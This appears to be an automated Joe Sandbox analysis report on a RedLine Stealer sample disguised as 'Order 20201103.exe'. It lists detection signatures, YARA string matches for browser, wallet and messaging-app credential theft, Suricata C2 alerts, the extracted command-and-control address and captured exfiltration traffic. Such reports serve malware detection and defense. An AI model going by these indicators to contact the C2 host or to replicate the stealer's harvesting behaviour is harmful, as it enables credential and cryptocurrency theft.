Edit tour

Windows Analysis Report
Order 20201103.exe

Overview

General Information

Sample name:	Order 20201103.exe
Analysis ID:	1637202
MD5:	5bb99ac790aeeea6267bb29fb67ff860
SHA1:	cf1a7f18df560dd886b71d3c036da6b66be24d03
SHA256:	113ba1be00a45820019ab0e10097ffdaabaee668013820364c9dbe7365838c21
Tags:	exeRedLineStealeruser-abuse_ch
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected RedLine Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Initial sample is a PE file and has a suspicious name

Joe Sandbox ML detected suspicious sample

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses known network protocols on non-standard ports

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Order 20201103.exe (PID: 6408 cmdline: "C:\Users\user\Desktop\Order 20201103.exe" MD5: 5BB99AC790AEEEA6267BB29FB67FF860)

conhost.exe (PID: 6428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: RedLine

{"C2 url": ["159.89.179.83:16383"], "Bot Id": "gooozzzi"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Order 20201103.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Order 20201103.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Order 20201103.exe	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
Order 20201103.exe	infostealer_win_redline_strings	Finds Redline samples based on characteristic strings	Sekoia.io	0x119cb:$gen01: ChromeGetRoamingName 0x119ff:$gen02: ChromeGetLocalName 0x11a28:$gen03: get_UserDomainName 0x13c67:$gen04: get_encrypted_key 0x131e3:$gen05: browserPaths 0x1352b:$gen06: GetBrowsers 0x12e61:$gen07: get_InstalledInputLanguages 0x1064f:$gen08: BCRYPT_INIT_AUTH_MODE_INFO_VERSION 0x8738:$spe1: [AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7} 0x9118:$spe6: windows-1251, CommandLine: 0x143c3:$spe9: wallet 0xee0c:$typ01: 359A00EF6C789FD4C18644F56C5D3F97453FFF20 0xef07:$typ02: F413CEA9BAA458730567FE47F57CC3C94DDF63C0 0xf264:$typ03: A937C899247696B6565665BE3BD09607F49A2042 0xf371:$typ04: D67333042BFFC20116BF01BC556566EC76C6F7E2 0xf4f0:$typ05: 4E3D7F188A5F5102BEC5B820632BBAEC26839E63 0xee98:$typ07: 77A9683FAF2EC9EC3DABC09D33C3BD04E8897D60 0xeec1:$typ08: A8F9B62160DF085B926D5ED70E2B0F6C95A25280 0xf05f:$typ10: 2FBDC611D3D91C142C969071EA8A7D3D10FF6301 0xf39a:$typ12: EB7EF1973CDC295B7B08FE6D82B9ECDAD1106AF2 0xf439:$typ13: 04EC68A0FC7D9B6A255684F330C28A4DCAB91F13
Order 20201103.exe	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165f2:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165d3:$v2_6: GetUpdates

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000000.954926963.0000000000482000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000000.954926963.0000000000482000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000000.954926963.0000000000482000.00000002.00000001.01000000.00000003.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x133ca:$a4: get_ScannedWallets 0x12228:$a5: get_ScanTelegram 0x1304e:$a6: get_ScanGeckoBrowsersPaths 0x10e6a:$a7: <Processes>k__BackingField 0xed7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1079e:$a9: <ScanFTP>k__BackingField
Process Memory Space: Order 20201103.exe PID: 6408	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Order 20201103.exe PID: 6408	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: Order 20201103.exe PID: 6408	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x57c3e6:$a4: get_ScannedWallets 0x57b28d:$a5: get_ScanTelegram 0x57c06f:$a6: get_ScanGeckoBrowsersPaths 0x579f20:$a7: <Processes>k__BackingField 0x577453:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x579854:$a9: <ScanFTP>k__BackingField
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.Order 20201103.exe.480000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.0.Order 20201103.exe.480000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.0.Order 20201103.exe.480000.0.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
0.0.Order 20201103.exe.480000.0.unpack	infostealer_win_redline_strings	Finds Redline samples based on characteristic strings	Sekoia.io	0x119cb:$gen01: ChromeGetRoamingName 0x119ff:$gen02: ChromeGetLocalName 0x11a28:$gen03: get_UserDomainName 0x13c67:$gen04: get_encrypted_key 0x131e3:$gen05: browserPaths 0x1352b:$gen06: GetBrowsers 0x12e61:$gen07: get_InstalledInputLanguages 0x1064f:$gen08: BCRYPT_INIT_AUTH_MODE_INFO_VERSION 0x8738:$spe1: [AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7} 0x9118:$spe6: windows-1251, CommandLine: 0x143c3:$spe9: wallet 0xee0c:$typ01: 359A00EF6C789FD4C18644F56C5D3F97453FFF20 0xef07:$typ02: F413CEA9BAA458730567FE47F57CC3C94DDF63C0 0xf264:$typ03: A937C899247696B6565665BE3BD09607F49A2042 0xf371:$typ04: D67333042BFFC20116BF01BC556566EC76C6F7E2 0xf4f0:$typ05: 4E3D7F188A5F5102BEC5B820632BBAEC26839E63 0xee98:$typ07: 77A9683FAF2EC9EC3DABC09D33C3BD04E8897D60 0xeec1:$typ08: A8F9B62160DF085B926D5ED70E2B0F6C95A25280 0xf05f:$typ10: 2FBDC611D3D91C142C969071EA8A7D3D10FF6301 0xf39a:$typ12: EB7EF1973CDC295B7B08FE6D82B9ECDAD1106AF2 0xf439:$typ13: 04EC68A0FC7D9B6A255684F330C28A4DCAB91F13
0.0.Order 20201103.exe.480000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165f2:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165d3:$v2_6: GetUpdates

Suricata Signatures

ET MALWARE RedLine Stealer - CheckConnect Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-13T12:02:30.985485+0100	2045000	1	Malware Command and Control Activity Detected	159.89.179.83	16383	192.168.2.9	49683	TCP

ET MALWARE Redline Stealer/MetaStealer Family Activity (Response)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-13T12:02:31.293584+0100	2046056	1	A Network Trojan was detected	159.89.179.83	16383	192.168.2.9	49683	TCP

ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-13T12:02:35.996032+0100	2045001	1	Malware Command and Control Activity Detected	159.89.179.83	16383	192.168.2.9	49683	TCP

ETPRO MALWARE RedLine - CheckConnect Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-13T12:02:25.817958+0100	2849662	1	Malware Command and Control Activity Detected	192.168.2.9	49683	159.89.179.83	16383	TCP

ETPRO MALWARE RedLine - EnvironmentSettings Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-13T12:02:31.196043+0100	2849351	1	Malware Command and Control Activity Detected	192.168.2.9	49683	159.89.179.83	16383	TCP

ETPRO MALWARE RedLine - SetEnvironment Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-13T12:02:36.364452+0100	2849352	1	Malware Command and Control Activity Detected	192.168.2.9	49685	159.89.179.83	16383	TCP

Joe Security MALWARE RedLine - Initial C&C Contact - SOAP CheckConnect

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-13T12:02:25.817958+0100	1800000	1	Malware Command and Control Activity Detected	192.168.2.9	49683	159.89.179.83	16383	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Order 20201103.exe

Avira: detected

Found malware configuration

Source: Order 20201103.exe

Malware Configuration Extractor: RedLine {"C2 url": ["159.89.179.83:16383"], "Bot Id": "gooozzzi"}

Multi AV Scanner detection for submitted file

Source: Order 20201103.exe	Virustotal: Detection: 86%			Perma Link
Source: Order 20201103.exe	ReversingLabs: Detection: 86%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: Order 20201103.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 104.26.13.31:443 -> 192.168.2.9:49684 version: TLS 1.0

Source: Order 20201103.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1800000 - Severity 1 - Joe Security MALWARE RedLine - Initial C&C Contact - SOAP CheckConnect : 192.168.2.9:49683 -> 159.89.179.83:16383
Source: Network traffic	Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.9:49683 -> 159.89.179.83:16383
Source: Network traffic	Suricata IDS: 2849352 - Severity 1 - ETPRO MALWARE RedLine - SetEnvironment Request : 192.168.2.9:49685 -> 159.89.179.83:16383
Source: Network traffic	Suricata IDS: 2045000 - Severity 1 - ET MALWARE RedLine Stealer - CheckConnect Response : 159.89.179.83:16383 -> 192.168.2.9:49683
Source: Network traffic	Suricata IDS: 2849351 - Severity 1 - ETPRO MALWARE RedLine - EnvironmentSettings Request : 192.168.2.9:49683 -> 159.89.179.83:16383
Source: Network traffic	Suricata IDS: 2046056 - Severity 1 - ET MALWARE Redline Stealer/MetaStealer Family Activity (Response) : 159.89.179.83:16383 -> 192.168.2.9:49683
Source: Network traffic	Suricata IDS: 2045001 - Severity 1 - ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound : 159.89.179.83:16383 -> 192.168.2.9:49683

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 159.89.179.83:16383

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49683 -> 16383
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 49683 -> 16383
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 49685 -> 16383
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49685
Source: unknown	Network traffic detected: HTTP traffic on port 49685 -> 16383
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49685
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49685

Source: global traffic

TCP traffic: 192.168.2.9:49683 -> 159.89.179.83:16383

Source: global traffic	HTTP traffic detected: GET /geoip HTTP/1.1Host: api.ip.sbConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 159.89.179.83:16383Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 159.89.179.83:16383Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 159.89.179.83:16383Content-Length: 954091Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 159.89.179.83:16383Content-Length: 954083Expect: 100-continueAccept-Encoding: gzip, deflate

Source: Joe Sandbox View

IP Address: 104.26.13.31 104.26.13.31

Source: Joe Sandbox View

ASN Name: DIGITALOCEAN-ASNUS DIGITALOCEAN-ASNUS

Source: Joe Sandbox View

JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad

Source: unknown

HTTPS traffic detected: 104.26.13.31:443 -> 192.168.2.9:49684 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83

Source: global traffic

HTTP traffic detected: GET /geoip HTTP/1.1Host: api.ip.sbConnection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: api.ip.sb

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 159.89.179.83:16383Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002997000.00000004.00000800.00020000.00000000.sdmp, Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.89.179.83:16383
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.89.179.83:16383/
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/0
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnect
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnectResponse
Source: Order 20201103.exe, 00000000.00000002.1097271706.00000000027C0000.00000004.00000800.00020000.00000000.sdmp, Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettings
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettingsResponse
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002997000.00000004.00000800.00020000.00000000.sdmp, Order 20201103.exe, 00000000.00000002.1097271706.00000000027E0000.00000004.00000800.00020000.00000000.sdmp, Order 20201103.exe, 00000000.00000002.1097271706.0000000002A14000.00000004.00000800.00020000.00000000.sdmp, Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdates
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesResponse
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002997000.00000004.00000800.00020000.00000000.sdmp, Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironment
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentResponse
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdate
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdateResponse
Source: tmp9C1F.tmp.0.dr	String found in binary or memory: https://ac.ecosia.org?q=
Source: Order 20201103.exe	String found in binary or memory: https://api.ip.sb/geoip%USERPEnvironmentROFILE%
Source: Order 20201103.exe	String found in binary or memory: https://api.ipify.orgcookies//settinString.Removeg
Source: tmp9C1F.tmp.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: tmp64A2.tmp.0.dr, tmp64C2.tmp.0.dr, tmp6471.tmp.0.dr, tmp6460.tmp.0.dr, tmp2C54.tmp.0.dr, tmp2C76.tmp.0.dr, tmp2C77.tmp.0.dr, tmp2C34.tmp.0.dr, tmp6491.tmp.0.dr, tmp2C55.tmp.0.dr, tmp2C23.tmp.0.dr, tmp9C1F.tmp.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: tmp64A2.tmp.0.dr, tmp64C2.tmp.0.dr, tmp6471.tmp.0.dr, tmp6460.tmp.0.dr, tmp2C54.tmp.0.dr, tmp2C76.tmp.0.dr, tmp2C77.tmp.0.dr, tmp2C34.tmp.0.dr, tmp6491.tmp.0.dr, tmp2C55.tmp.0.dr, tmp2C23.tmp.0.dr, tmp9C1F.tmp.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: tmp9C1F.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: tmp64A2.tmp.0.dr, tmp64C2.tmp.0.dr, tmp6471.tmp.0.dr, tmp6460.tmp.0.dr, tmp2C54.tmp.0.dr, tmp2C76.tmp.0.dr, tmp2C77.tmp.0.dr, tmp2C34.tmp.0.dr, tmp6491.tmp.0.dr, tmp2C55.tmp.0.dr, tmp2C23.tmp.0.dr, tmp9C1F.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtabv20
Source: tmp9C1F.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: tmp9C1F.tmp.0.dr	String found in binary or memory: https://gemini.google.com/app?q=
Source: Order 20201103.exe	String found in binary or memory: https://ipinfo.io/ip%appdata%
Source: tmp64A2.tmp.0.dr, tmp64C2.tmp.0.dr, tmp6471.tmp.0.dr, tmp6460.tmp.0.dr, tmp2C54.tmp.0.dr, tmp2C76.tmp.0.dr, tmp2C77.tmp.0.dr, tmp2C34.tmp.0.dr, tmp6491.tmp.0.dr, tmp2C55.tmp.0.dr, tmp2C23.tmp.0.dr, tmp9C1F.tmp.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/v20Y&
Source: tmp64A2.tmp.0.dr, tmp64C2.tmp.0.dr, tmp6471.tmp.0.dr, tmp6460.tmp.0.dr, tmp2C54.tmp.0.dr, tmp2C76.tmp.0.dr, tmp2C77.tmp.0.dr, tmp2C34.tmp.0.dr, tmp6491.tmp.0.dr, tmp2C55.tmp.0.dr, tmp2C23.tmp.0.dr, tmp9C1F.tmp.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49684
Source: unknown	Network traffic detected: HTTP traffic on port 49684 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: Order 20201103.exe, type: SAMPLE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Order 20201103.exe, type: SAMPLE	Matched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
Source: Order 20201103.exe, type: SAMPLE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.0.Order 20201103.exe.480000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.0.Order 20201103.exe.480000.0.unpack, type: UNPACKEDPE	Matched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
Source: 0.0.Order 20201103.exe.480000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000000.00000000.954926963.0000000000482000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
